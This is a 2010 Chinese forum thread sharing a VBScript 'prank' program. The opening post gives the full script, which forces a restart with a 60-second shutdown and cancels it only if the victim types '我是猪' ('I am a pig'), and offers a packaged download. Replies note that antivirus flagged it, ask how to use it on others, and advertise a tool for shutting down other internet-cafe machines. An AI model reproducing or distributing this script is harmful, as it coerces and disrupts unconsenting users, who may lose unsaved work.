制作恶作剧程序----“我是猪”

社区服务
高级搜索
猴岛论坛QQ微信技术制作恶作剧程序----“我是猪”
发帖 回复
正序阅读 最近浏览的帖子最近浏览的版块
« 返回列表
27个回复

制作恶作剧程序----“我是猪”

 楼层直达
bing3639

ZxID：11904542

等级: 上士
【实习生工作室】出售QQ密码寻回软件  DNF密
举报 只看楼主 使用道具 楼主   发表于: 2010-06-13 0
首先我们打开一个文本文档




把这些复制进去


on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.EⅩE /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试

试···"" ",0 ,true dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.EⅩE /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"   



之后保存之后再把后缀改掉,把txt改成vbs



下面是我做好的程序，要回答“我是猪”才能关掉程序，嘻嘻
[ 此贴被_ˇ韩小潴√在2010-06-13 13:33重新编辑 ]
附件: 恶作剧.rar (1 K) 下载数:148
打赏 收藏 新鲜事

相关主题


回复 引用
　 鲜花[0]　 鸡蛋[0]
hghdgl1314

ZxID：12471713

等级: 上等兵
  　　_______ , 还是一个人
举报 只看该作者 27楼  发表于: 2010-06-25 0
enen
  　　_______ , 还是一个人
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
qq3296915

ZxID：12413504

等级: 上等兵
举报 只看该作者 26楼  发表于: 2010-06-23 0
真类  假类？
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
健　少

ZxID：11813325

等级: 中将
配偶: 傛児
哈哈

举报 只看该作者 25楼  发表于: 2010-06-23 0
来刷一刀`
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
懒得习惯

ZxID：12129128

等级: 禁止发言
举报 只看该作者 24楼  发表于: 2010-06-23 0
入过的无视我吧。
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
qq767700830

ZxID：12461893

等级: 列兵
举报 只看该作者 23楼  发表于: 2010-06-23 0
tgererergeg            
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
qq767700830

ZxID：12461893

等级: 列兵
举报 只看该作者 22楼  发表于: 2010-06-23 0
ergregre
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
芈步

ZxID：12459517

等级: 上等兵
举报 只看该作者 21楼  发表于: 2010-06-22 0
早就玩腻了```
http://s8.hk/4qsv
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
You-x`後悔.

ZxID：3293312

等级: 上尉
就算路过，也要华丽的路过。

举报 只看该作者 20楼  发表于: 2010-06-22 0
早就知道咯。。
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
z137157904

ZxID：10145133

等级: 列兵
举报 只看该作者 19楼  发表于: 2010-06-22 0
bdoabdoa
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
635189164

ZxID：12454325

等级: 列兵
举报 只看该作者 18楼  发表于: 2010-06-22 0
不会啊
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
48066464

ZxID：5261241

等级: 列兵
举报 只看该作者 17楼  发表于: 2010-06-21 0
轱地于于于三二城亚太地区本城。本
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
48066464

ZxID：5261241

等级: 列兵
举报 只看该作者 16楼  发表于: 2010-06-21 0
恩不错    
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
z105411381

ZxID：2384084

等级: 列兵
举报 只看该作者 15楼  发表于: 2010-06-18 0
我来刷一刀，这个软件前年就会了
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
丿Angel灬浅唱

ZxID：11927488

等级: 上等兵
举报 只看该作者 14楼  发表于: 2010-06-18 0
大家看我的， 改造了一下， O(∩_∩)O~呵呵
描述:改了一下，呵呵
附件: 自己做的程序.rar (1 K) 下载数:10
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
老西部浪子

ZxID：12396996

等级: 列兵
举报 只看该作者 13楼  发表于: 2010-06-16 0
刚保存，就被瑞星杀掉了，有毒
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
QQ号码出售

ZxID：12219925

等级: 列兵
举报 只看该作者 12楼  发表于: 2010-06-16 0
不懂，怎么做弄别人啊
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
a15992324

ZxID：11135868

等级: 禁止发言
举报 只看该作者 11楼  发表于: 2010-06-16 0
网吧随便关人家机]
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
a15992324

ZxID：11135868

等级: 禁止发言
举报 只看该作者 10楼  发表于: 2010-06-16 0
用我的这个效果跟好  按住Shift+Esc  在上面的框框输入在你上的网吧咯的随便一个机号   
附件: 忽忽.rar (155 K) 下载数:21
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
直升机大会

ZxID：10359028

等级: 少校
举报 只看该作者 9楼  发表于: 2010-06-16 0
不关机貌似。

落叶终要归根，傻逼请勿装逼
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
« 返回列表
发帖 回复